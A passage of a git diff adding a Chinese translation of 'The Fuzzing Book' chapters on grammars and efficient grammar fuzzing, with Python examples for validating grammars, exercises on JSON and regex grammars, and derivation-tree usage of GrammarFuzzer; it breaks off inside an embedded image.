+    if START_SYMBOL in grammar:
+        unreachable = unreachable - \
+            reachable_nonterminals(grammar, START_SYMBOL)
+        if start_symbol != START_SYMBOL:
+            msg_start_symbol += " or " + START_SYMBOL
+    for unreachable_nonterminal in unreachable:
+        print(repr(unreachable_nonterminal) + ": unreachable from " + msg_start_symbol,
+              file=sys.stderr)
+
+    used_but_not_supported_opts = set()
+    if supported_opts is not None:
+        used_but_not_supported_opts = opts_used(
+            grammar).difference(supported_opts)
+        for opt in used_but_not_supported_opts:
+            print(
+                "warning: option " +
+                repr(opt) +
+                " is not supported",
+                file=sys.stderr)
+
+    return used_nonterminals == defined_nonterminals and len(unreachable) == 0
+
+```
+
+上面定义的语法通过了测试：
+
+```py
+assert is_valid_grammar(EXPR_GRAMMAR)
+assert is_valid_grammar(CGI_GRAMMAR)
+assert is_valid_grammar(URL_GRAMMAR)
+
+```
+
+该检查也可以应用于EBNF语法：
+
+```py
+assert is_valid_grammar(EXPR_EBNF_GRAMMAR)
+
+```
+
+但是，这些没有通过测试：
+
+```py
+assert not is_valid_grammar({"<start>": ["<x>"], "<y>": ["1"]})
+
+```
+
+```py
+'<y>': defined, but not used
+'<x>': used, but not defined
+'<y>': unreachable from <start>
+
+```
+
+```py
+assert not is_valid_grammar({"<start>": "123"})
+
+```
+
+```py
+'<start>': expansion is not a list
+
+```
+
+```py
+assert not is_valid_grammar({"<start>": []})
+
+```
+
+```py
+'<start>': expansion list empty
+
+```
+
+```py
+assert not is_valid_grammar({"<start>": [1, 2, 3]})
+
+```
+
+```py
+'<start>': 1: not a string
+
+```
+
+从这里开始，在定义语法时，我们将始终使用`is_valid_grammar()`。
+
+## 经验教训
+
+*   语法是表达和产生语法有效输入的强大工具。
+*   语法产生的输入可以直接使用，也可以用作基于突变的模糊测试的种子。
+*   可以使用字符类和运算符扩展语法，以使编写更加容易。
+
+## 后续步骤
+
+由于它们为生成软件测试奠定了良好的基础，因此在本书中我们一再使用语法。 作为先睹为快，我们可以对[模糊配置](ConfigurationFuzzer.html)使用语法：
+
+```py
+<options> ::= <option>*
+<option> ::= -h | --version | -v | -d | -i | --global-config <filename>
+```
+
+我们可以对[模糊功能和API](APIFuzzer.html) 和[模糊图形用户界面](WebFuzzer.html)使用语法：
+
+```py
+<call-sequence> ::= <call>*
+<call> ::= urlparse(<url>) | urlsplit(<url>)
+```
+
+我们可以将[概率](ProbabilisticGrammarFuzzer.html)和[约束](GeneratorGrammarFuzzer.html)分配给各个扩展：
+
+```py
+<term>: 50% <factor> * <term> |  30% <factor> / <term> | 20% <factor>
+<integer>: <digit>+ { <integer> >= 100 }
+```
+
+所有这些额外的东西变得特别有价值
+
+1.  *自动推断语法*，无需手动指定语法，并且
+2.  *指导他们实现特定目标*，例如覆盖范围或关键功能；
+
+我们还将在本书中讨论所有技术。
+
+但是，要到达那里，我们还有一些功课要做。 特别是，我们首先必须学习如何
+
+*   [创建高效的语法模糊器](GrammarFuzzer.html)
+
+## 背景
+
+作为人类语言的基础之一，语法一直存在，只要人类语言存在就可以。 生成语法的第一个*形式化*是达克西·普特拉·帕尼（DakṣiputraPāṇini）于公元前350年。 。 作为表达用于数据和程序的形式语言的一般手段，不能夸大其在计算机科学中的作用。 Chomsky [ [Chomsky *等人*，1956\.](https://chomsky.info/wp-content/uploads/195609-.pdf) ]的开创性工作介绍了正则语言，上下文无关文法，上下文相关文法和通用文法的中心模型。 从那以后（并在计算机科学领域任教）作为一种指定输入和编程语言的方法。
+
+语法在产生*的*测试输入中的使用可以追溯到Burkhardt [ [Burkhardt *等人*，1967年。](https://doi.org/10.1007/BF02235512)]，稍后由Hanford重新发现并应用 [] Hanford *等*，1970。](https://doi.org/10.1147/sj.94.0242)]和Purdom [ [Purdom *等*，1972。](https://doi.org/10.1007/BF01932308)]。 此后，语法测试最重要的用途是*编译器测试*。 实际上，基于语法的测试是编译器和Web浏览器按其应有的方式工作的重要原因之一：
+
+*   [CSmith](https://embed.cs.utah.edu/csmith/) 工具[ [Yang *等*，2011年。](https://doi.org/10.1145/1993498.1993532)]特别针对C程序，从C语法开始，然后应用其他步骤，例如引用变量 和较早定义的函数，或确保整数和类型安全。 他们的作者使用它“查找并报告了400多个以前未知的编译器错误”。
+
+*   [LangFuzz](http://issta2016.cispa.saarland/interview-with-christian-holler/) 作品[ [Holler *等人*，2012年。](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final73.pdf)]与本书共有两名作者，使用通用语法产生输出，每天使用 晚上生成JavaScript程序并测试其解释器； 截止到今天，它已经在Mozilla Firefox，Google Chrome和Microsoft Edge等浏览器中发现了2,600多个错误。
+
+*   [EMI项目](http://web.cs.ucdavis.edu/~su/emi-project/) [ [Le *等*，2014年。](https://doi.org/10.1145/2594291.2594334)]使用语法对C编译器进行压力测试，将已知测试转换为在语义上等效的替代程序 所有输入。 同样，这已经修复了100多个C编译器中的错误。
+
+*   [Grammarinator](https://github.com/renatahodovan/grammarinator) [[Hodován*等人*，2018。](https://www.researchgate.net/publication/328510752_Grammarinator_a_grammar-based_open_source_fuzzer)]是一种开源语法模糊工具（用Python编写！），使用流行的ANTLR格式作为语法规范。 像LangFuzz一样，它使用语法进行解析和生成，并且在 *JerryScript* 轻量级JavaScript引擎和相关平台中发现了100多个问题。
+
+*   [Domato](https://github.com/googleprojectzero/domato) 是一个通用的语法生成引擎，专门用于对DOM输入进行模糊处理。 它揭示了流行的Web浏览器中的许多安全问题。
+
+当然，编译器和Web浏览器不仅是测试需要语法的领域，而且还是众所周知的语法的领域。 我们在本书中的主张是，语法可用于几乎生成任何输入*，而我们的目标是使您能够准确地做到这一点。*
+
+## 练习
+
+### 练习1：JSON语法
+
+看一下 [JSON规范](http://www.json.org)并从中得出语法：
+
+*   使用*字符类*表示有效字符
+*   使用EBNF表示重复和可选部分
+*   假使，假设
+    *   字符串是数字，ASCII字母，标点和空格字符的序列，不带引号或转义符
+    *   空白只是一个空格。
+*   使用`is_valid_grammar()`确保语法有效。
+
+将语法输入`simple_grammar_fuzzer()`。 您是否遇到任何错误，为什么？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Grammars.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：查找错误
+
+名称`simple_grammar_fuzzer()`并非偶然出现：它扩展语法的方式受到多种限制。 如果按上述定义在`nonterminal_grammar`和`expr_grammar`上应用`simple_grammar_fuzzer()`，会发生什么，为什么？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Grammars.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：带有正则表达式的语法
+
+在以正则表达式扩展的*语法中，我们可以使用特殊形式*
+
+```py
+/regex/
+```
+
+在扩展中包含正则表达式。 例如，我们可以有一条规则
+
+```py
+<integer> ::= /[+-]?[0-9]+/
+```
+
+快速表示整数是可选符号，后跟数字序列。
+
+#### 第1部分：转换正则表达式
+
+编写一个使用正则表达式`r`并创建等效语法的转换器`convert_regex(r)`。 支持以下正则表达式构造：
+
+*   `*`，`+`，`?`，`()`应该仅在上述EBNF中起作用。
+*   `a|b`应该转换为替代项列表`[a, b]`。
+*   `.`应该匹配除换行符之外的任何字符。
+*   `[abc]`应翻译为`srange("abc")`
+*   `[^abc]`应该转换为ASCII字符集*，除了* `srange("abc")`之外。
+*   `[a-b]`应翻译为`crange(a, b)`
+*   `[^a-b]`应该转换为ASCII字符集*，除了* `crange(a, b)`之外。
+
+示例：`convert_regex(r"[0-9]+")`应该产生一个语法，例如
+
+```py
+{
+    "<start>": ["<s1>"],
+    "<s1>": [ "<s2>", "<s1><s2>" ],
+    "<s2>": crange('0', '9')
+}
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Grammars.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：识别并扩展正则表达式
+
+编写一个转换器`convert_regex_grammar(g)`，该转换器采用EBNF文法`g`，其中包含形式为`/.../`的正则表达式，并创建等效的BNF文法。 支持上面的正则表达式构造。
+
+示例：`convert_regex_grammar({ "<integer>" : "/[+-]?[0-9]+/" })`应该产生一个语法，例如
+
+```py
+{
+    "<integer>": ["<s1><s3>"],
+    "<s1>": [ "", "<s2>" ],
+    "<s2>": srange("+-"),
+    "<s3>": [ "<s4>", "<s4><s3>" ],
+    "<s4>": crange('0', '9')
+}
+
+```
+
+可选：支持*以正则表达式转义*：`\c`转换为文字字符`c`； `\/`转换为`/`（因此不结束正则表达式）； `\\`转换为`\`。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Grammars.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习4：将语法定义为函数（高级）)
+
+为了获得用于指定语法的更好语法，可以使用Python构造，然后再通过另一种功能将*解析为*。 例如，我们可以想象一个语法定义，它使用`|`作为分隔替代项的手段：
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Grammars.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+def expression_grammar_fn():
+    start = "<expr>"
+    expr = "<term> + <expr>" | "<term> - <expr>"
+    term = "<factor> * <term>" | "<factor> / <term>" | "<factor>"
+    factor = "+<factor>" | "-<factor>" | "(<expr>)" | "<integer>.<integer>" | "<integer>"
+    integer = "<digit><integer>" | "<digit>"
+    digit = '0' | '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9'
+
+```
+
+如果执行`expression_grammar_fn()`，将产生错误。 然而，`expression_grammar_fn()`的目的不是要执行，而是用作将要构造语法的*数据*。
+
+```py
+with ExpectError():
+    expression_grammar_fn()
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-109-612cec5468d3>", line 2, in <module>
+    expression_grammar_fn()
+  File "<ipython-input-108-f21ab929e5ee>", line 3, in expression_grammar_fn
+    expr = "<term> + <expr>" | "<term> - <expr>"
+TypeError: unsupported operand type(s) for |: 'str' and 'str' (expected)
+
+```
+
+为此，我们使用了`ast`（抽象语法树）和`inspect`（代码检查）模块。
+
+```py
+import [ast](https://docs.python.org/3/library/ast.html)
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+首先，我们获得`expression_grammar_fn()`的源代码...
+
+```py
+source = inspect.getsource(expression_grammar_fn)
+source
+
+```
+
+```py
+'def expression_grammar_fn():\n    start = "<expr>"\n    expr = "<term> + <expr>" | "<term> - <expr>"\n    term = "<factor> * <term>" | "<factor> / <term>" | "<factor>"\n    factor = "+<factor>" | "-<factor>" | "(<expr>)" | "<integer>.<integer>" | "<integer>"\n    integer = "<digit><integer>" | "<digit>"\n    digit = \'0\' | \'1\' | \'2\' | \'3\' | \'4\' | \'5\' | \'6\' | \'7\' | \'8\' | \'9\'\n'
+
+```
+
+...然后将其解析为抽象语法树：
+
+```py
+tree = ast.parse(source)
+
+```
+
+现在，我们可以分析树以查找运算符和替代方法。 `get_alternatives()`遍历树的所有节点`op`； 如果该节点看起来像二进制*或*（`|`）操作，我们将进行更深入的挖掘并递归。 如果没有，那么我们已经达到了单一生产，并且我们尝试从生产中获得表达。 我们根据要表示产品的方式定义`to_expr`参数。 在这种情况下，我们用单个字符串表示单个产品。
+
+```py
+def get_alternatives(op, to_expr=lambda o: o.s):
+    if isinstance(op, ast.BinOp) and isinstance(op.op, ast.BitOr):
+        return get_alternatives(op.left, to_expr) + [to_expr(op.right)]
+    return [to_expr(op)]
+
+```
+
+`funct_parser()`接受函数的抽象语法树（例如`expression_grammar_fn()`）并遍历所有分配：
+
+```py
+def funct_parser(tree, to_expr=lambda o: o.s):
+    return {assign.targets[0].id: get_alternatives(assign.value, to_expr)
+            for assign in tree.body[0].body}
+
+```
+
+结果是我们常规格式的语法：
+
+```py
+grammar = funct_parser(tree)
+for symbol in grammar:
+    print(symbol, "::=", grammar[symbol])
+
+```
+
+```py
+start ::= ['<expr>']
+expr ::= ['<term> + <expr>', '<term> - <expr>']
+term ::= ['<factor> * <term>', '<factor> / <term>', '<factor>']
+factor ::= ['+<factor>', '-<factor>', '(<expr>)', '<integer>.<integer>', '<integer>']
+integer ::= ['<digit><integer>', '<digit>']
+digit ::= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+
+```
+
+#### 第1部分（a）：单个功能:-One-Single-Function)
+
+编写单个函数`define_grammar(fn)`，该函数采用定义为函数的语法（例如`expression_grammar_fn()`）并返回常规语法。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Grammars.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第1部分（b）：替代表示形式:-Alternative-representations)
+
+我们注意到，我们先前设计的语法表示形式不允许简单生成替代项，例如`srange()`和`crange()`。 此外，可能会发现表达式的字符串表示形式受到限制。 事实证明，扩展我们的语法定义以支持如下语法很简单：
+
+```py
+def define_name(o):
+    return o.id if isinstance(o, ast.Name) else o.s
+
+```
+
+```py
+def define_expr(op):
+    if isinstance(op, ast.BinOp) and isinstance(op.op, ast.Add):
+        return (*define_expr(op.left), define_name(op.right))
+    return (define_name(op),)
+
+```
+
+```py
+def define_ex_grammar(fn):
+    return define_grammar(fn, define_expr)
+
+```
+
+语法：
+
+```py
+@define_ex_grammar
+def expression_grammar():
+    start   = expr
+    expr    = (term + '+' + expr
+            |  term + '-' + expr)
+    term    = (factor + '*' + term
+            |  factor + '/' + term
+            |  factor)
+    factor  = ('+' + factor
+            |  '-' + factor
+            |  '(' + expr + ')'
+            |  integer + '.' + integer
+            |  integer)
+    integer = (digit + integer
+            |  digit)
+    digit   = '0' | '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9'
+
+for symbol in expression_grammar:
+    print(symbol, "::=", expression_grammar[symbol])
+
+```
+
+**注意。** 这样获得的语法数据结构比标准数据结构更详细。 它表示每个生产为元组。
+
+我们注意到，我们在上述语法中未启用`srange()`或`crange()`。 您将如何添加这些？ （*提示：*包装`define_expr()`以查找`ast.Call`）
+
+#### 第2部分：扩展文法
+
+引入一个带有一对`(min, max)`的运算符`*`，其中`min`和`max`分别是最小和最大重复次数。 缺失值`min`代表零； 无限值的缺失值`max`。
+
+```py
+def identifier_grammar_fn():
+    identifier = idchar * (1,)
+
+```
+
+使用`*`运算符，我们可以概括EBNF运算符-`?`变为（0,1），`*`变为（0，），`+`变为（1，）。 编写一个转换器，该转换器采用使用`*`定义的扩展语法，对其进行解析，然后将其转换为BNF。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Grammars.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/16.md b/new/fuzzing-book-zh/16.md
new file mode 100644
index 0000000000000000000000000000000000000000..bb01355b58ada8b78abd99d88fc597a445ab25ea
--- /dev/null
+++ b/new/fuzzing-book-zh/16.md
@@ -0,0 +1,1503 @@
+# 高效的语法模糊化
+
+> 原文： [https://www.fuzzingbook.org/html/GrammarFuzzer.html](https://www.fuzzingbook.org/html/GrammarFuzzer.html)
+
+在语法的[一章中，我们已经看到了如何使用*语法*进行非常有效的测试。 在本章中，我们将以前的基于字符串的算法改进为基于树的算法，该算法速度更快，并且可以更好地控制模糊输入的产生。](Grammars.html)
+
+本章中的算法是其他几种技术的基础。 因此，本章是书中的“枢纽”。
+
+**前提条件**
+
+*   您应该知道基于语法的模糊测试的工作原理，例如 摘自[语法](Grammars.html)一章。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.GrammarFuzzer](GrammarFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章介绍`GrammarFuzzer`，这是一种高效的语法模糊器，它采用一种语法来产生语法上有效的输入字符串。 这是典型用法：
+
+```py
+>>> from [Grammars](Grammars.html) import US_PHONE_GRAMMAR
+>>> phone_fuzzer = GrammarFuzzer(US_PHONE_GRAMMAR)
+>>> phone_fuzzer.fuzz()
+'(582)871-9500'
+
+```
+
+`GrammarFuzzer`构造函数采用许多关键字参数来控制其行为。 例如，`start_symbol`允许设置以扩展名开头的符号（而不是`<start>`）：
+
+```py
+>>> area_fuzzer = GrammarFuzzer(US_PHONE_GRAMMAR, start_symbol='<area>')
+>>> area_fuzzer.fuzz()
+'707'
+>>> import [inspect](https://docs.python.org/3/library/inspect.html)
+>>> print(inspect.getdoc(GrammarFuzzer.__init__))
+Produce strings from `grammar`, starting with `start_symbol`.
+If `min_nonterminals` or `max_nonterminals` is given, use them as limits 
+for the number of nonterminals produced.  
+If `disp` is set, display the intermediate derivation trees.
+If `log` is set, show intermediate steps as text on standard output.
+
+```
+
+在内部，`GrammarFuzzer`使用[派生树](#Derivation-Trees)，并逐步扩展。 生成字符串后，可以在`derivation_tree`属性中访问生成的树。
+
+```py
+>>> display_tree(phone_fuzzer.derivation_tree)
+
+```
+
+!
+
+在派生树的内部表示中，*节点*是一对（`symbol`，`children`）。 对于非终端，`symbol`是正在扩展的符号，`children`是其他节点的列表。 对于终端，`symbol`是终端字符串，`children`为空。
+
+```py
+>>> phone_fuzzer.derivation_tree
+('<start>',
+ [('<phone-number>',
+   [('(', []),
+    ('<area>',
+     [('<lead-digit>', [('5', [])]),
+      ('<digit>', [('8', [])]),
+      ('<digit>', [('2', [])])]),
+    (')', []),
+    ('<exchange>',
+     [('<lead-digit>', [('8', [])]),
+      ('<digit>', [('7', [])]),
+      ('<digit>', [('1', [])])]),
+    ('-', []),
+    ('<line>',
+     [('<digit>', [('9', [])]),
+      ('<digit>', [('5', [])]),
+      ('<digit>', [('0', [])]),
+      ('<digit>', [('0', [])])])])])
+
+```
+
+本章包含各种与派生树配合使用的助手，包括可视化工具。
+
+## 算法
+
+在[的前一章](Grammars.html)中，我们介绍了`simple_grammar_fuzzer()`函数，该函数采用语法并自动从中产生语法上有效的字符串。 但是，`simple_grammar_fuzzer()`的名称恰如其分-简单。 为了说明问题，让我们回到在语法的[一章中从`EXPR_GRAMMAR_BNF`创建的`expr_grammar`：](Grammars.html)
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import unicode_escape
+
+```
+
+```py
+from [Grammars](Grammars.html) import EXPR_EBNF_GRAMMAR, convert_ebnf_grammar, simple_grammar_fuzzer, is_valid_grammar, exp_string, exp_opts
+
+```
+
+```py
+expr_grammar = convert_ebnf_grammar(EXPR_EBNF_GRAMMAR)
+expr_grammar
+
+```
+
+```py
+{'<start>': ['<expr>'],
+ '<expr>': ['<term> + <expr>', '<term> - <expr>', '<term>'],
+ '<term>': ['<factor> * <term>', '<factor> / <term>', '<factor>'],
+ '<factor>': ['<sign-1><factor>', '(<expr>)', '<integer><symbol-1>'],
+ '<sign>': ['+', '-'],
+ '<integer>': ['<digit-1>'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<symbol>': ['.<integer>'],
+ '<sign-1>': ['', '<sign>'],
+ '<symbol-1>': ['', '<symbol>'],
+ '<digit-1>': ['<digit>', '<digit><digit-1>']}
+
+```
+
+`expr_grammar`具有有趣的属性。 如果我们将其输入`simple_grammar_fuzzer()`，该函数将陷入无限扩展中：
+
+```py
+from [ExpectError](ExpectError.html) import ExpectTimeout
+
+```
+
+```py
+with ExpectTimeout(1):
+    simple_grammar_fuzzer(grammar=expr_grammar, max_nonterminals=3)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-6-fbcda5f486bb>", line 2, in <module>
+    simple_grammar_fuzzer(grammar=expr_grammar, max_nonterminals=3)
+  File "<string>", line 8, in simple_grammar_fuzzer
+  File "<string>", line 7, in nonterminals
+  File "/Users/zeller/anaconda3/lib/python3.6/re.py", line 222, in findall
+    return _compile(pattern, flags).findall(string)
+  File "/Users/zeller/anaconda3/lib/python3.6/re.py", line 288, in _compile
+    try:
+  File "/Users/zeller/anaconda3/lib/python3.6/re.py", line 288, in _compile
+    try:
+  File "<string>", line 16, in check_time
+TimeoutError (expected)
+
+```
+
+为什么会这样？ 问题在于此规则：
+
+```py
+expr_grammar['<factor>']
+
+```
+
+```py
+['<sign-1><factor>', '(<expr>)', '<integer><symbol-1>']
+
+```
+
+此处，除了`(expr)`以外的任何选择都会增加符号的数量，即使只是暂时的。 由于我们对要扩展的符号数设置了硬性限制，因此扩展`<factor>`剩下的唯一选择是`(<expr>)`，这将导致无限地添加括号。
+
+潜在无限扩展的问题只是`simple_grammar_fuzzer()`的问题之一。 更多问题包括：
+
+1.  *效率低下*。 每次迭代时，此模糊器将搜索到目前为止产生的字符串以扩展符号。 随着生产线的增长，这变得效率低下。
+
+2.  *很难控制。* 如上所述，即使在限制符号数量的情况下，仍然可以获得非常长的字符串，甚至无限长的字符串。
+
+让我们通过绘制不同长度的字符串所需的时间来说明这两个问题。
+
+```py
+from [Grammars](Grammars.html) import simple_grammar_fuzzer
+
+```
+
+```py
+from [Grammars](Grammars.html) import START_SYMBOL, EXPR_GRAMMAR, URL_GRAMMAR, CGI_GRAMMAR
+
+```
+
+```py
+from [Grammars](Grammars.html) import RE_NONTERMINAL, nonterminals, is_nonterminal
+
+```
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+trials = 50
+xs = []
+ys = []
+for i in range(trials):
+    with Timer() as t:
+        s = simple_grammar_fuzzer(EXPR_GRAMMAR, max_nonterminals=15)
+    xs.append(len(s))
+    ys.append(t.elapsed_time())
+    print(i, end=" ")
+print()
+
+```
+
+```py
+0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 
+
+```
+
+```py
+average_time = sum(ys) / trials
+print("Average time:", average_time)
+
+```
+
+```py
+Average time: 0.2103420232999997
+
+```
+
+```py
+%matplotlib inline
+
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+plt.scatter(xs, ys)
+plt.title('Time required for generating an output')
+
+```
+
+```py
+Text(0.5,1,'Time required for generating an output')
+
+```
+
+![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAXcAAAEICAYAAACktLTqAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4zLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvIxREBQAAGw5JREFUeJzt3XuUnHWd5/H3J52GNJeluWRGEhKCt6jMIJcejOJRdrwEwiUs6gFxRkRHRoWzuqvZJY4j0VEHJ6s7w+CRBYcFlAMIxmwccTPsoovKNZiEEDASEEw6COHS3NJCJ/nuH8+vQnWlqqu6u7qr69ef1zl1uuq5fp+nqj/969/z1PMoIjAzs7xMaXUBZmbWfA53M7MMOdzNzDLkcDczy5DD3cwsQw53M7MMOdzHkKTPS/pOq+totmZvl6Qlkr43xPhPSnpc0guSDmzWetuRpEsl/W2r67CJTz7PfeQkvVD2ci/gJWBHev3XEXHN+FfVfiQtAV4bEX9RZVwn8BwwLyLWjndtrSTpI8BfRcTbW13LeJF0PPC9iDhkIi6vnUxtdQHtLCL2KT2X9AjFL+L/aV1Fu2qZGhHbM1n3HwPTgPUjqEUUDZidTaynKVr5Htnk4G6ZMVTe3SBpjqSQdI6kTZKekfQJSX8m6V5JfZIuqZj/o5IeSNOulHRojfWUlv0xSb8DbknD50m6LS17bWrFlOY5TNL/k/S8pJslXVJW6/GSNles4xFJ7x5iu0a8buCgGtv1emBDetknqbTst0m6W9Kz6efbyub5maSvSvolsA14dZXlHi1pdVr/DZKul/SVsvEnS1qTar9N0hEV++Fz6T17Ns07bRjz/ldJ9wIvSpoq6QJJD6Va7pf0H9K0bwQuBd6auqP60vArS7WW3idJn5X0hKTHJJ1Ttr4DJf1I0nNpP31F0i+q7es0/Q2Sfp+261ZJh5eNu1LStyT9ONV6p6TXDLGsUyWtT/vhZ2l7SuNC0msrlv0VSXsDPwFmpG1+QdKM9Hm7Me3r5yX9StKbR7q8WjVnJyL8aMIDeAR4d8WwJRT/EgLMAYLiF3Ya8F7gD8By4I+AmcATwDvT9KcBG4E3UvyH9QXgthrrLi37amBvoCst7ylgAcUf8fek19PTPLcD3wT2BN4BPF9W6/HA5lrbV2O7mrLuIbZtanp9APAM8Jdpv3wwvT4wjf8Z8Dvg8DS+s2J5ewCPAp8GOoHTgZeBr6TxR6f34S1AB3B22vY9y/bDXcCMVMsDwCeGMe8aYBbQlYZ9IC1rCnAG8CJwcBr3EeAXFfVfWVbr8cB24MtpWxZQ/EHbP42/Lj32At4EbKpcXsWyPwrsm96XfwTWVKz3aeDYtF+vAa6rsZzXp+14T6rrv1B8lvdI44OiG67WNlV+9pYAA8D70/I+B/y29N4Od3mT5eGW+/j7u4j4Q0T8G8UvwLUR8URE9AI/B45K0/018PcR8UAU/75/DThSNVrvyZKIeDEi+oG/AG6KiJsiYmdE3AysAhZImg38GfC3EfFSRNwK/GiU2zVe6z4JeDAivhsR2yPiWuDXwCll01wZEevT+IGK+edRhNPFETEQEcsowrrk48D/iIg7I2JHRFxFcSxlXtk0F0fEloh4OtV+5DDn3ZT2ExFxQ1rWzoi4HniQIkAbNQB8OW3LTcALwFxJHcD7gAsjYltE3A9cNdSCIuKKiHg+Il6iCNQ3S9qvbJJlEXFX+jxeU7bdlc4AfhwRN6f9/98o/ui/rcb0jbgnIm5My/smRQNpXp15JjWH+/h7vOx5f5XXpX78Q4F/Sv/W9lG0mkTRKq5lU9nzQ4EPlOZPy3g7cDBFS/GZiHixbPpHR7Q147/uGVWmf5TB+2UTtc0AeiM162rU/tmK2mel+Up+X/Z8G4Pfs3rzDqpN0ofLunH6gD+hRjdVDU/F4L77Uj3TKf6Ila+v5n6R1CHpotRF9BzFfxlU1FJruysNeo+iOOaxiaE/u/Xsqj0tbzOD96tV8AHViWsT8NUY3hk3lYH13Yj4eOVEqfW/v6S9y0J2dtn8L1L8K1+avoMiLMZj3fVsoQjRcrOB/12jlkqPATMlqSzgZwEPldX+1Yj4aoP1lGtk3l21pX1xOfAu4PaI2CFpDcUf8XrbUc9Wii6bQ4DfpGGzhpj+LGAh8G6KYN+PortLQ8xTyxbgT0svJCmtuzcN2kbZ5wt4FUVYQ+1t3lW7pCkU27VlFMvLnlvuE9elwOLSQS1J+0n6wDDm/x5wiqT5qVU2LR2AOyQiHqXoJvmSpD0kvZ3B3Rq/AaZJOknFqYhfoOiHHY9113MT8HpJZ6UDkmdQ9Cf/a4Pz305xuur5af6FDO4GuRz4hKS3qLB32g/7NrDs4c67N0X4bAVIB0P/pGz848AhkvZocNt2iYgdwDJgiaS9JL0B+PAQs+xL0YX0FEVQfm246yzzfeAkSe9Kn5/PpmXflsavAc5Kn40TgHeWzfs4cGBFdxDAMZJOlzQV+Exa3h2jWF72HO4TVET8EPg6cF36N/k+4MRhzL+JoiX2eYrw2AQs4pX3/CyKA39PAxdSHBAtzfss8CngOxStrRd5pSU0putuYNlPASdTBMZTFAfrTo6IJxuc/2WKg6gfA/oojg/8K0VYEBGrKPrOL6FouW6kOLDZyLKHNW/qB/8GxR+cxylau78sm+QWilNAfy+poe2rcD5FC/z3wHeBa0nbWcXVFF0pvcD9vBKcwxYRGyj26z8DT1L88T4l7XsoDmafQrH/P0RxUkFp3l+nOh9OXVWlrpf/RdGXXzqYfnrZ8ZSRLC97/hKTAUN/kSh3ku4ELo2I/9nqWsaSpK8Dr4qIs1tdy3BM5s/maLjlbpOOpHdKelXqljkbOILBffZZkPQGSUekLqJjKf5b+WGr67Lx4QOqNhnNpegX3ofiQOr7I+Kx1pY0Jval6JKYQXH+/TcoujdsEnC3jJlZhtwtY2aWoZZ1yxx00EExZ86cVq3ezKwt3XPPPU9GRL3vnbQu3OfMmcOqVatatXozs7YkqaFvdLtbxswsQw53M7MMOdzNzDLkcDczy5DD3cwsQw53M7MMOdzNzDLka8uYmY2T5at7WbpyA1v6+pnR3cWi+XM57ajR3KCqNoe7mdk4WL66l8XL1tE/sAOA3r5+Fi9bBzAmAe9uGTOzcbB05YZdwV7SP7CDpSs3jMn66oa7pFmSfirpAUnrJX26yjSSdLGkjZLulXT0mFRrZtamtvT1D2v4aDXSct8OfDYi3gjMA86T9KaKaU4EXpce5wLfbmqVZmZtbkZ317CGj1bdcI+IxyLiV+n588ADQGUH0ULg6ijcAXRLOrjp1ZqZtalF8+fS1dkxaFhXZweL5s8dk/UN64CqpDnAUcCdFaNmUtwEuWRzGjbo7jaSzqVo2TN79uzhVWpm1sZKB00n3NkykvYBfgB8JiKeqxxdZZbdbvEUEZcBlwH09PT4FlBmNqmcdtTMMQvzSg2dLSOpkyLYr4mIZVUm2QzMKnt9CLBl9OWZmdlINHK2jIB/AR6IiG/WmGwF8OF01sw84NlMbzhsZtYWGumWOQ74S2CdpDVp2OeB2QARcSlwE7AA2AhsA85pfqlmZtaouuEeEb+gep96+TQBnNesoszMbHT8DVUzsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPLkMPdzCxDDnczsww53M3MMuRwNzPL